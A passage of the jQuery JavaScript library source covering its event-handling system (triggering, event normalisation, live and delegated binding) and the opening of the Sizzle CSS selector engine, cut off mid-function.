if ( type.indexOf(".") >= 0 ) {
// Namespaced trigger; create a regexp to match event type in handle()
namespaces = type.split(".");
type = namespaces.shift();
namespaces.sort();
}
if ( (!elem || jQuery.event.customEvent[ type ]) && !jQuery.event.global[ type ] ) {
// No jQuery handlers for this event type, and it can't have inline handlers
return;
}
// Caller can pass in an Event, Object, or just an event type string
event = typeof event === "object" ?
// jQuery.Event object
event[ jQuery.expando ] ? event :
// Object literal
new jQuery.Event( type, event ) :
// Just the event type (string)
new jQuery.Event( type );
event.type = type;
event.exclusive = exclusive;
event.namespace = namespaces.join(".");
event.namespace_re = new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.)?") + "(\\.|$)");
// triggerHandler() and global events don't bubble or run the default action
if ( onlyHandlers || !elem ) {
event.preventDefault();
event.stopPropagation();
}
// Handle a global trigger
if ( !elem ) {
// TODO: Stop taunting the data cache; remove global events and always attach to document
jQuery.each( jQuery.cache, function() {
// internalKey variable is just used to make it easier to find
// and potentially change this stuff later; currently it just
// points to jQuery.expando
var internalKey = jQuery.expando,
internalCache = this[ internalKey ];
if ( internalCache && internalCache.events && internalCache.events[ type ] ) {
jQuery.event.trigger( event, data, internalCache.handle.elem );
}
});
return;
}
// Don't do events on text and comment nodes
if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
return;
}
// Clean up the event in case it is being reused
event.result = undefined;
event.target = elem;
// Clone any incoming data and prepend the event, creating the handler arg list
data = data != null ? jQuery.makeArray( data ) : [];
data.unshift( event );
var cur = elem,
// IE doesn't like method names with a colon (#3533, #8272)
ontype = type.indexOf(":") < 0 ? "on" + type : "";
// Fire event on the current element, then bubble up the DOM tree
do {
var handle = jQuery._data( cur, "handle" );
event.currentTarget = cur;
if ( handle ) {
handle.apply( cur, data );
}
// Trigger an inline bound script
if ( ontype && jQuery.acceptData( cur ) && cur[ ontype ] && cur[ ontype ].apply( cur, data ) === false ) {
event.result = false;
event.preventDefault();
}
// Bubble up to document, then to window
cur = cur.parentNode || cur.ownerDocument || cur === event.target.ownerDocument && window;
} while ( cur && !event.isPropagationStopped() );
// If nobody prevented the default action, do it now
if ( !event.isDefaultPrevented() ) {
var old,
special = jQuery.event.special[ type ] || {};
if ( (!special._default || special._default.call( elem.ownerDocument, event ) === false) &&
!(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) {
// Call a native DOM method on the target with the same name name as the event.
// Can't use an .isFunction)() check here because IE6/7 fails that test.
// IE<9 dies on focus to hidden element (#1486), may want to revisit a try/catch.
try {
if ( ontype && elem[ type ] ) {
// Don't re-trigger an onFOO event when we call its FOO() method
old = elem[ ontype ];
if ( old ) {
elem[ ontype ] = null;
}
jQuery.event.triggered = type;
elem[ type ]();
}
} catch ( ieError ) {}
if ( old ) {
elem[ ontype ] = old;
}
jQuery.event.triggered = undefined;
}
}
return event.result;
},
handle: function( event ) {
event = jQuery.event.fix( event || window.event );
// Snapshot the handlers list since a called handler may add/remove events.
var handlers = ((jQuery._data( this, "events" ) || {})[ event.type ] || []).slice(0),
run_all = !event.exclusive && !event.namespace,
args = Array.prototype.slice.call( arguments, 0 );
// Use the fix-ed Event rather than the (read-only) native event
args[0] = event;
event.currentTarget = this;
for ( var j = 0, l = handlers.length; j < l; j++ ) {
var handleObj = handlers[ j ];
// Triggered event must 1) be non-exclusive and have no namespace, or
// 2) have namespace(s) a subset or equal to those in the bound event.
if ( run_all || event.namespace_re.test( handleObj.namespace ) ) {
// Pass in a reference to the handler function itself
// So that we can later remove it
event.handler = handleObj.handler;
event.data = handleObj.data;
event.handleObj = handleObj;
var ret = handleObj.handler.apply( this, args );
if ( ret !== undefined ) {
event.result = ret;
if ( ret === false ) {
event.preventDefault();
event.stopPropagation();
}
}
if ( event.isImmediatePropagationStopped() ) {
break;
}
}
}
return event.result;
},
props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
fix: function( event ) {
if ( event[ jQuery.expando ] ) {
return event;
}
// store a copy of the original event object
// and "clone" to set read-only properties
var originalEvent = event;
event = jQuery.Event( originalEvent );
for ( var i = this.props.length, prop; i; ) {
prop = this.props[ --i ];
event[ prop ] = originalEvent[ prop ];
}
// Fix target property, if necessary
if ( !event.target ) {
// Fixes #1925 where srcElement might not be defined either
event.target = event.srcElement || document;
}
// check if target is a textnode (safari)
if ( event.target.nodeType === 3 ) {
event.target = event.target.parentNode;
}
// Add relatedTarget, if necessary
if ( !event.relatedTarget && event.fromElement ) {
event.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement;
}
// Calculate pageX/Y if missing and clientX/Y available
if ( event.pageX == null && event.clientX != null ) {
var eventDocument = event.target.ownerDocument || document,
doc = eventDocument.documentElement,
body = eventDocument.body;
event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
event.pageY = event.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0);
}
// Add which for key events
if ( event.which == null && (event.charCode != null || event.keyCode != null) ) {
event.which = event.charCode != null ? event.charCode : event.keyCode;
}
// Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs)
if ( !event.metaKey && event.ctrlKey ) {
event.metaKey = event.ctrlKey;
}
// Add which for click: 1 === left; 2 === middle; 3 === right
// Note: button is not normalized, so don't use it
if ( !event.which && event.button !== undefined ) {
event.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) ));
}
return event;
},
// Deprecated, use jQuery.guid instead
guid: 1E8,
// Deprecated, use jQuery.proxy instead
proxy: jQuery.proxy,
special: {
ready: {
// Make sure the ready event is setup
setup: jQuery.bindReady,
teardown: jQuery.noop
},
live: {
add: function( handleObj ) {
jQuery.event.add( this,
liveConvert( handleObj.origType, handleObj.selector ),
jQuery.extend({}, handleObj, {handler: liveHandler, guid: handleObj.handler.guid}) );
},
remove: function( handleObj ) {
jQuery.event.remove( this, liveConvert( handleObj.origType, handleObj.selector ), handleObj );
}
},
beforeunload: {
setup: function( data, namespaces, eventHandle ) {
// We only want to do this special case on windows
if ( jQuery.isWindow( this ) ) {
this.onbeforeunload = eventHandle;
}
},
teardown: function( namespaces, eventHandle ) {
if ( this.onbeforeunload === eventHandle ) {
this.onbeforeunload = null;
}
}
}
}
};
jQuery.removeEvent = document.removeEventListener ?
function( elem, type, handle ) {
if ( elem.removeEventListener ) {
elem.removeEventListener( type, handle, false );
}
} :
function( elem, type, handle ) {
if ( elem.detachEvent ) {
elem.detachEvent( "on" + type, handle );
}
};
jQuery.Event = function( src, props ) {
// Allow instantiation without the 'new' keyword
if ( !this.preventDefault ) {
return new jQuery.Event( src, props );
}
// Event object
if ( src && src.type ) {
this.originalEvent = src;
this.type = src.type;
// Events bubbling up the document may have been marked as prevented
// by a handler lower down the tree; reflect the correct value.
this.isDefaultPrevented = (src.defaultPrevented || src.returnValue === false ||
src.getPreventDefault && src.getPreventDefault()) ? returnTrue : returnFalse;
// Event type
} else {
this.type = src;
}
// Put explicitly provided properties onto the event object
if ( props ) {
jQuery.extend( this, props );
}
// timeStamp is buggy for some events on Firefox(#3843)
// So we won't rely on the native value
this.timeStamp = jQuery.now();
// Mark it as fixed
this[ jQuery.expando ] = true;
};
function returnFalse() {
return false;
}
function returnTrue() {
return true;
}
// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
jQuery.Event.prototype = {
preventDefault: function() {
this.isDefaultPrevented = returnTrue;
var e = this.originalEvent;
if ( !e ) {
return;
}
// if preventDefault exists run it on the original event
if ( e.preventDefault ) {
e.preventDefault();
// otherwise set the returnValue property of the original event to false (IE)
} else {
e.returnValue = false;
}
},
stopPropagation: function() {
this.isPropagationStopped = returnTrue;
var e = this.originalEvent;
if ( !e ) {
return;
}
// if stopPropagation exists run it on the original event
if ( e.stopPropagation ) {
e.stopPropagation();
}
// otherwise set the cancelBubble property of the original event to true (IE)
e.cancelBubble = true;
},
stopImmediatePropagation: function() {
this.isImmediatePropagationStopped = returnTrue;
this.stopPropagation();
},
isDefaultPrevented: returnFalse,
isPropagationStopped: returnFalse,
isImmediatePropagationStopped: returnFalse
};
// Checks if an event happened on an element within another element
// Used in jQuery.event.special.mouseenter and mouseleave handlers
var withinElement = function( event ) {
// Check if mouse(over|out) are still within the same parent element
var related = event.relatedTarget,
inside = false,
eventType = event.type;
event.type = event.data;
if ( related !== this ) {
if ( related ) {
inside = jQuery.contains( this, related );
}
if ( !inside ) {
jQuery.event.handle.apply( this, arguments );
event.type = eventType;
}
}
},
// In case of event delegation, we only need to rename the event.type,
// liveHandler will take care of the rest.
delegate = function( event ) {
event.type = event.data;
jQuery.event.handle.apply( this, arguments );
};
// Create mouseenter and mouseleave events
jQuery.each({
mouseenter: "mouseover",
mouseleave: "mouseout"
}, function( orig, fix ) {
jQuery.event.special[ orig ] = {
setup: function( data ) {
jQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig );
},
teardown: function( data ) {
jQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement );
}
};
});
// submit delegation
if ( !jQuery.support.submitBubbles ) {
jQuery.event.special.submit = {
setup: function( data, namespaces ) {
if ( !jQuery.nodeName( this, "form" ) ) {
jQuery.event.add(this, "click.specialSubmit", function( e ) {
// Avoid triggering error on non-existent type attribute in IE VML (#7071)
var elem = e.target,
type = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.type : "";
if ( (type === "submit" || type === "image") && jQuery( elem ).closest("form").length ) {
trigger( "submit", this, arguments );
}
});
jQuery.event.add(this, "keypress.specialSubmit", function( e ) {
var elem = e.target,
type = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.type : "";
if ( (type === "text" || type === "password") && jQuery( elem ).closest("form").length && e.keyCode === 13 ) {
trigger( "submit", this, arguments );
}
});
} else {
return false;
}
},
teardown: function( namespaces ) {
jQuery.event.remove( this, ".specialSubmit" );
}
};
}
// change delegation, happens here so we have bind.
if ( !jQuery.support.changeBubbles ) {
var changeFilters,
getVal = function( elem ) {
var type = jQuery.nodeName( elem, "input" ) ? elem.type : "",
val = elem.value;
if ( type === "radio" || type === "checkbox" ) {
val = elem.checked;
} else if ( type === "select-multiple" ) {
val = elem.selectedIndex > -1 ?
jQuery.map( elem.options, function( elem ) {
return elem.selected;
}).join("-") :
"";
} else if ( jQuery.nodeName( elem, "select" ) ) {
val = elem.selectedIndex;
}
return val;
},
testChange = function testChange( e ) {
var elem = e.target, data, val;
if ( !rformElems.test( elem.nodeName ) || elem.readOnly ) {
return;
}
data = jQuery._data( elem, "_change_data" );
val = getVal(elem);
// the current data will be also retrieved by beforeactivate
if ( e.type !== "focusout" || elem.type !== "radio" ) {
jQuery._data( elem, "_change_data", val );
}
if ( data === undefined || val === data ) {
return;
}
if ( data != null || val ) {
e.type = "change";
e.liveFired = undefined;
jQuery.event.trigger( e, arguments[1], elem );
}
};
jQuery.event.special.change = {
filters: {
focusout: testChange,
beforedeactivate: testChange,
click: function( e ) {
var elem = e.target, type = jQuery.nodeName( elem, "input" ) ? elem.type : "";
if ( type === "radio" || type === "checkbox" || jQuery.nodeName( elem, "select" ) ) {
testChange.call( this, e );
}
},
// Change has to be called before submit
// Keydown will be called before keypress, which is used in submit-event delegation
keydown: function( e ) {
var elem = e.target, type = jQuery.nodeName( elem, "input" ) ? elem.type : "";
if ( (e.keyCode === 13 && !jQuery.nodeName( elem, "textarea" ) ) ||
(e.keyCode === 32 && (type === "checkbox" || type === "radio")) ||
type === "select-multiple" ) {
testChange.call( this, e );
}
},
// Beforeactivate happens also before the previous element is blurred
// with this event you can't trigger a change event, but you can store
// information
beforeactivate: function( e ) {
var elem = e.target;
jQuery._data( elem, "_change_data", getVal(elem) );
}
},
setup: function( data, namespaces ) {
if ( this.type === "file" ) {
return false;
}
for ( var type in changeFilters ) {
jQuery.event.add( this, type + ".specialChange", changeFilters[type] );
}
return rformElems.test( this.nodeName );
},
teardown: function( namespaces ) {
jQuery.event.remove( this, ".specialChange" );
return rformElems.test( this.nodeName );
}
};
changeFilters = jQuery.event.special.change.filters;
// Handle when the input is .focus()'d
changeFilters.focus = changeFilters.beforeactivate;
}
function trigger( type, elem, args ) {
// Piggyback on a donor event to simulate a different one.
// Fake originalEvent to avoid donor's stopPropagation, but if the
// simulated event prevents default then we do the same on the donor.
// Don't pass args or remember liveFired; they apply to the donor event.
var event = jQuery.extend( {}, args[ 0 ] );
event.type = type;
event.originalEvent = {};
event.liveFired = undefined;
jQuery.event.handle.call( elem, event );
if ( event.isDefaultPrevented() ) {
args[ 0 ].preventDefault();
}
}
// Create "bubbling" focus and blur events
if ( !jQuery.support.focusinBubbles ) {
jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
// Attach a single capturing handler while someone wants focusin/focusout
var attaches = 0;
jQuery.event.special[ fix ] = {
setup: function() {
if ( attaches++ === 0 ) {
document.addEventListener( orig, handler, true );
}
},
teardown: function() {
if ( --attaches === 0 ) {
document.removeEventListener( orig, handler, true );
}
}
};
function handler( donor ) {
// Donor event is always a native one; fix it and switch its type.
// Let focusin/out handler cancel the donor focus/blur event.
var e = jQuery.event.fix( donor );
e.type = fix;
e.originalEvent = {};
jQuery.event.trigger( e, null, e.target );
if ( e.isDefaultPrevented() ) {
donor.preventDefault();
}
}
});
}
jQuery.each(["bind", "one"], function( i, name ) {
jQuery.fn[ name ] = function( type, data, fn ) {
var handler;
// Handle object literals
if ( typeof type === "object" ) {
for ( var key in type ) {
this[ name ](key, data, type[key], fn);
}
return this;
}
if ( arguments.length === 2 || data === false ) {
fn = data;
data = undefined;
}
if ( name === "one" ) {
handler = function( event ) {
jQuery( this ).unbind( event, handler );
return fn.apply( this, arguments );
};
handler.guid = fn.guid || jQuery.guid++;
} else {
handler = fn;
}
if ( type === "unload" && name !== "one" ) {
this.one( type, data, fn );
} else {
for ( var i = 0, l = this.length; i < l; i++ ) {
jQuery.event.add( this[i], type, handler, data );
}
}
return this;
};
});
jQuery.fn.extend({
unbind: function( type, fn ) {
// Handle object literals
if ( typeof type === "object" && !type.preventDefault ) {
for ( var key in type ) {
this.unbind(key, type[key]);
}
} else {
for ( var i = 0, l = this.length; i < l; i++ ) {
jQuery.event.remove( this[i], type, fn );
}
}
return this;
},
delegate: function( selector, types, data, fn ) {
return this.live( types, data, fn, selector );
},
undelegate: function( selector, types, fn ) {
if ( arguments.length === 0 ) {
return this.unbind( "live" );
} else {
return this.die( types, null, fn, selector );
}
},
trigger: function( type, data ) {
return this.each(function() {
jQuery.event.trigger( type, data, this );
});
},
triggerHandler: function( type, data ) {
if ( this[0] ) {
return jQuery.event.trigger( type, data, this[0], true );
}
},
toggle: function( fn ) {
// Save reference to arguments for access in closure
var args = arguments,
guid = fn.guid || jQuery.guid++,
i = 0,
toggler = function( event ) {
// Figure out which function to execute
var lastToggle = ( jQuery.data( this, "lastToggle" + fn.guid ) || 0 ) % i;
jQuery.data( this, "lastToggle" + fn.guid, lastToggle + 1 );
// Make sure that clicks stop
event.preventDefault();
// and execute the function
return args[ lastToggle ].apply( this, arguments ) || false;
};
// link all the functions, so any of them can unbind this click handler
toggler.guid = guid;
while ( i < args.length ) {
args[ i++ ].guid = guid;
}
return this.click( toggler );
},
hover: function( fnOver, fnOut ) {
return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
}
});
var liveMap = {
focus: "focusin",
blur: "focusout",
mouseenter: "mouseover",
mouseleave: "mouseout"
};
jQuery.each(["live", "die"], function( i, name ) {
jQuery.fn[ name ] = function( types, data, fn, origSelector /* Internal Use Only */ ) {
var type, i = 0, match, namespaces, preType,
selector = origSelector || this.selector,
context = origSelector ? this : jQuery( this.context );
if ( typeof types === "object" && !types.preventDefault ) {
for ( var key in types ) {
context[ name ]( key, data, types[key], selector );
}
return this;
}
if ( name === "die" && !types &&
origSelector && origSelector.charAt(0) === "." ) {
context.unbind( origSelector );
return this;
}
if ( data === false || jQuery.isFunction( data ) ) {
fn = data || returnFalse;
data = undefined;
}
types = (types || "").split(" ");
while ( (type = types[ i++ ]) != null ) {
match = rnamespaces.exec( type );
namespaces = "";
if ( match ) {
namespaces = match[0];
type = type.replace( rnamespaces, "" );
}
if ( type === "hover" ) {
types.push( "mouseenter" + namespaces, "mouseleave" + namespaces );
continue;
}
preType = type;
if ( liveMap[ type ] ) {
types.push( liveMap[ type ] + namespaces );
type = type + namespaces;
} else {
type = (liveMap[ type ] || type) + namespaces;
}
if ( name === "live" ) {
// bind live handler
for ( var j = 0, l = context.length; j < l; j++ ) {
jQuery.event.add( context[j], "live." + liveConvert( type, selector ),
{ data: data, selector: selector, handler: fn, origType: type, origHandler: fn, preType: preType } );
}
} else {
// unbind live handler
context.unbind( "live." + liveConvert( type, selector ), fn );
}
}
return this;
};
});
function liveHandler( event ) {
var stop, maxLevel, related, match, handleObj, elem, j, i, l, data, close, namespace, ret,
elems = [],
selectors = [],
events = jQuery._data( this, "events" );
// Make sure we avoid non-left-click bubbling in Firefox (#3861) and disabled elements in IE (#6911)
if ( event.liveFired === this || !events || !events.live || event.target.disabled || event.button && event.type === "click" ) {
return;
}
if ( event.namespace ) {
namespace = new RegExp("(^|\\.)" + event.namespace.split(".").join("\\.(?:.*\\.)?") + "(\\.|$)");
}
event.liveFired = this;
var live = events.live.slice(0);
for ( j = 0; j < live.length; j++ ) {
handleObj = live[j];
if ( handleObj.origType.replace( rnamespaces, "" ) === event.type ) {
selectors.push( handleObj.selector );
} else {
live.splice( j--, 1 );
}
}
match = jQuery( event.target ).closest( selectors, event.currentTarget );
for ( i = 0, l = match.length; i < l; i++ ) {
close = match[i];
for ( j = 0; j < live.length; j++ ) {
handleObj = live[j];
if ( close.selector === handleObj.selector && (!namespace || namespace.test( handleObj.namespace )) && !close.elem.disabled ) {
elem = close.elem;
related = null;
// Those two events require additional checking
if ( handleObj.preType === "mouseenter" || handleObj.preType === "mouseleave" ) {
event.type = handleObj.preType;
related = jQuery( event.relatedTarget ).closest( handleObj.selector )[0];
// Make sure not to accidentally match a child element with the same selector
if ( related && jQuery.contains( elem, related ) ) {
related = elem;
}
}
if ( !related || related !== elem ) {
elems.push({ elem: elem, handleObj: handleObj, level: close.level });
}
}
}
}
for ( i = 0, l = elems.length; i < l; i++ ) {
match = elems[i];
if ( maxLevel && match.level > maxLevel ) {
break;
}
event.currentTarget = match.elem;
event.data = match.handleObj.data;
event.handleObj = match.handleObj;
ret = match.handleObj.origHandler.apply( match.elem, arguments );
if ( ret === false || event.isPropagationStopped() ) {
maxLevel = match.level;
if ( ret === false ) {
stop = false;
}
if ( event.isImmediatePropagationStopped() ) {
break;
}
}
}
return stop;
}
function liveConvert( type, selector ) {
return (type && type !== "*" ? type + "." : "") + selector.replace(rperiod, "`").replace(rspaces, "&");
}
jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " +
"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
"change select submit keydown keypress keyup error").split(" "), function( i, name ) {
// Handle event binding
jQuery.fn[ name ] = function( data, fn ) {
if ( fn == null ) {
fn = data;
data = null;
}
return arguments.length > 0 ?
this.bind( name, data, fn ) :
this.trigger( name );
};
if ( jQuery.attrFn ) {
jQuery.attrFn[ name ] = true;
}
});
/*!
* Sizzle CSS Selector Engine
* Copyright 2011, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
* More information: http://sizzlejs.com/
*/
(function(){
var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
done = 0,
toString = Object.prototype.toString,
hasDuplicate = false,
baseHasDuplicate = true,
rBackslash = /\\/g,
rNonWord = /\W/;
// Here we check if the JavaScript engine is using some sort of
// optimization where it does not always call our comparision
// function. If that is the case, discard the hasDuplicate value.
// Thus far that includes Google Chrome.
[0, 0].sort(function() {
baseHasDuplicate = false;
return 0;
});
var Sizzle = function( selector, context, results, seed ) {
results = results || [];
context = context || document;
var origContext = context;
if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
return [];
}
if ( !selector || typeof selector !== "string" ) {
return results;
}
var m, set, checkSet, extra, ret, cur, pop, i,
prune = true,
contextXML = Sizzle.isXML( context ),
parts = [],
soFar = selector;
// Reset the position of the chunker regexp (start from head)
do {
chunker.exec( "" );
m = chunker.exec( soFar );
if ( m ) {
soFar = m[3];
parts.push( m[1] );
if ( m[2] ) {
extra = m[3];
break;
}
}
} while ( m );
if ( parts.length > 1 && origPOS.exec( selector ) ) {
if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
set = posProcess( parts[0] + parts[1], context );
} else {
set = Expr.relative[ parts[0] ] ?
[ context ] :
Sizzle( parts.shift(), context );
while ( parts.length ) {
selector = parts.shift();
if ( Expr.relative[ selector ] ) {
selector += parts.shift();
}
set = posProcess( selector, set );
}
}
} else {
// Take a shortcut and set the context if the root selector is an ID
// (but not if it'll be faster if the inner selector is an ID)
if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
ret = Sizzle.find( parts.shift(), context, contextXML );
context = ret.expr ?
Sizzle.filter( ret.expr, ret.set )[0] :
ret.set[0];
}
if ( context ) {
ret = seed ?
{ expr: parts.pop(), set: makeArray(seed) } :
Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
set = ret.expr ?
Sizzle.filter( ret.expr, ret.set ) :
ret.set;
if ( parts.length > 0 ) {
checkSet = makeArray( set );
} else {
prune = false;
}
while ( parts.length ) {
cur = parts.pop();
pop = cur;
if ( !Expr.relative[ cur ] ) {
cur = "";
} else {
pop = parts.pop();
}
if ( pop == null ) {
pop = context;
}
Expr.relative[ cur ]( checkSet, pop, contextXML );
}
} else {
checkSet = parts = [];
}
}
if ( !checkSet ) {
checkSet = set;
}
if ( !checkSet ) {
Sizzle.error( cur || selector );
}
if ( toString.call(checkSet) === "[object Array]" ) {
if ( !prune ) {
results.push.apply( results, checkSet );
} else if ( context && context.nodeType === 1 ) {
for ( i = 0; checkSet[i] != null; i++ ) {
if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
results.push( set[i] );
}
}
} else {
for ( i = 0; checkSet[i] != null; i++ ) {
if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
results.push( set[i] );
}
}
}
} else {
makeArray( checkSet, results );
}
if ( extra ) {
Sizzle( extra, origContext, results, seed );
Sizzle.uniqueSort( results );
}
return results;
};
Sizzle.uniqueSort = function( results ) {
if ( sortOrder ) {
hasDuplicate = baseHasDuplicate;
results.sort( sortOrder );
if ( hasDuplicate ) {
for ( var i = 1; i < results.length; i++ ) {
if ( results[i] === results[ i - 1 ] ) {
results.splice( i--, 1 );
}
}
}
}
return results;
};
Sizzle.matches = function( expr, set ) {
return Sizzle( expr, null, null, set );
};
Sizzle.matchesSelector = function( node, expr ) {
return Sizzle( expr, null, null, [node] ).length > 0;
};
Sizzle.find = function( expr, context, isXML ) {
var set;
if ( !expr ) {
return [];
}
for ( var i = 0, l = Expr.order.length; i < l; i++ ) {
var match,
type = Expr.order[i];
if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
var left = match[1];
match.splice( 1, 1 );
if ( left.substr( left.length - 1 ) !== "\\" ) {
match[1] = (match[1] || "").replace( rBackslash, "" );
set = Expr.find[ type ]( match, context, isXML );
if ( set != null ) {
expr = expr.replace( Expr.match[ type ], "" );
break;
}
}
}
}
if ( !set ) {
set = typeof context.getElementsByTagName !== "undefined" ?
context.getElementsByTagName( "*" ) :
[];
}
return { set: set, expr: expr };
};
Sizzle.filter = function( expr, set, inplace, not ) {
var match, anyFound,
old = expr,
result = [],
curLoop = set,
isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
while ( expr && set.length ) {
for ( var type in Expr.filter ) {
if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
var found, item,
filter = Expr.filter[ type ],
left = match[1];
anyFound = false;
match.splice(1,1);
if ( left.substr( left.length - 1 ) === "\\" ) {
continue;
}
if ( curLoop === result ) {
result = [];
}
if ( Expr.preFilter[ type ] ) {
match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
if ( !match ) {
anyFound = found = true;
} else if ( match === true ) {
continue;
}
}
if ( match ) {
for ( var i = 0; (item = curLoop[i]) != null; i++ ) {
if ( item ) {
found = filter( item, match, i, curLoop );
var pass = not ^ !!found;
if ( inplace && found != null ) {
if ( pass ) {
anyFound = true;
} else {
curLoop[i] = false;
}
} else if ( pass ) {
result.push( item );
anyFound = true;
}
}
}
}
if ( found !== undefined ) {
if ( !inplace ) {
curLoop = result;
}
expr = expr.replace( Expr.match[ type ], "" );
if ( !anyFound ) {
return [];
}
break;
}
}
}
// Improper expression
if ( expr === old ) {
if ( anyFound == null ) {
Sizzle.error( expr );
} else {
break;
}
}
old = expr;
}
return curLoop;
};
Sizzle.error = function( msg ) {
throw "Syntax error, unrecognized expression: " + msg;
};
var Expr = Sizzle.selectors = {
order: [ "ID", "NAME", "TAG" ],
match: {
ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
},
leftMatch: {},
attrMap: {
"class": "className",
"for": "htmlFor"
},
attrHandle: {
href: function( elem ) {
return elem.getAttribute( "href" );
},
type: function( elem ) {
return elem.getAttribute( "type" );
}
},
relative: {
"+": function(checkSet, part){
var isPartStr = typeof part === "string",
isTag = isPartStr && !rNonWord.test( part ),
isPartStrNotTag = isPartStr && !isTag;
if ( isTag ) {
part = part.toLowerCase();
}
for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
if ( (elem = checkSet[i]) ) {
while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
elem || false :
elem === part;
}
}
if ( isPartStrNotTag ) {
Sizzle.filter( part, checkSet, true );
}
},
">": function( checkSet, part ) {
var elem,
isPartStr = typeof part === "string",
i = 0,
l = checkSet.length;
if ( isPartStr && !rNonWord.test( part ) ) {
part = part.toLowerCase();
for ( ; i < l; i++ ) {
elem = checkSet[i];
if ( elem ) {
var parent = elem.parentNode;
checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
}
}
} else {
for ( ; i < l; i++ ) {
elem = checkSet[i];
if ( elem ) {
checkSet[i] = isPartStr ?
elem.parentNode :
elem.parentNode === part;
}
}
if ( isPartStr ) {
Sizzle.filter( part, checkSet, true );
}
}
},
"": function(checkSet, part, isXML){
var nodeCheck,
doneName = done++,
checkFn = dirCheck;
if ( typeof part === "string" && !rNonWord.test( part ) ) {
part = part.toLowerCase();
nodeCheck = part;
checkFn = dirNodeCheck;
}
checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
},
"~": function( checkSet, part, isXML ) {
var nodeCheck,
doneName = done++,
checkFn = dirCheck;
if ( typeof part === "string" && !rNonWord.test( part ) ) {
part = part.toLowerCase();
nodeCheck = part;
checkFn = dirNodeCheck;
}
checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
}
},
find: {
ID: function( match, context, isXML ) {
if ( typeof context.getElementById !== "undefined" && !isXML ) {
var m = context.getElementById(match[1]);
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
return m && m.parentNode ? [m] : [];
}
},
NAME: function( match, context ) {
if ( typeof context.getElementsByName !== "undefined" ) {
var ret = [],
results = context.getElementsByName( match[1] );
for ( var i = 0, l = results.length; i < l; i++ ) {
if ( results[i].getAttribute("name") === match[1] ) {
ret.push( results[i] );
}
}
return ret.length === 0 ? null : ret;
}
},
TAG: function( match, context ) {
if ( typeof context.getElementsByTagName !== "undefined" ) {
return context.getElementsByTagName( match[1] );
}
}
},
preFilter: {
CLASS: function( match, curLoop, inplace, result, not, isXML ) {
match = " " + match[1].replace( rBackslash, "" ) + " ";
if ( isXML ) {
return match;
}
for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
if ( elem ) {
if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
if ( !inplace ) {
result.push( elem );
}
} else if ( inplace ) {
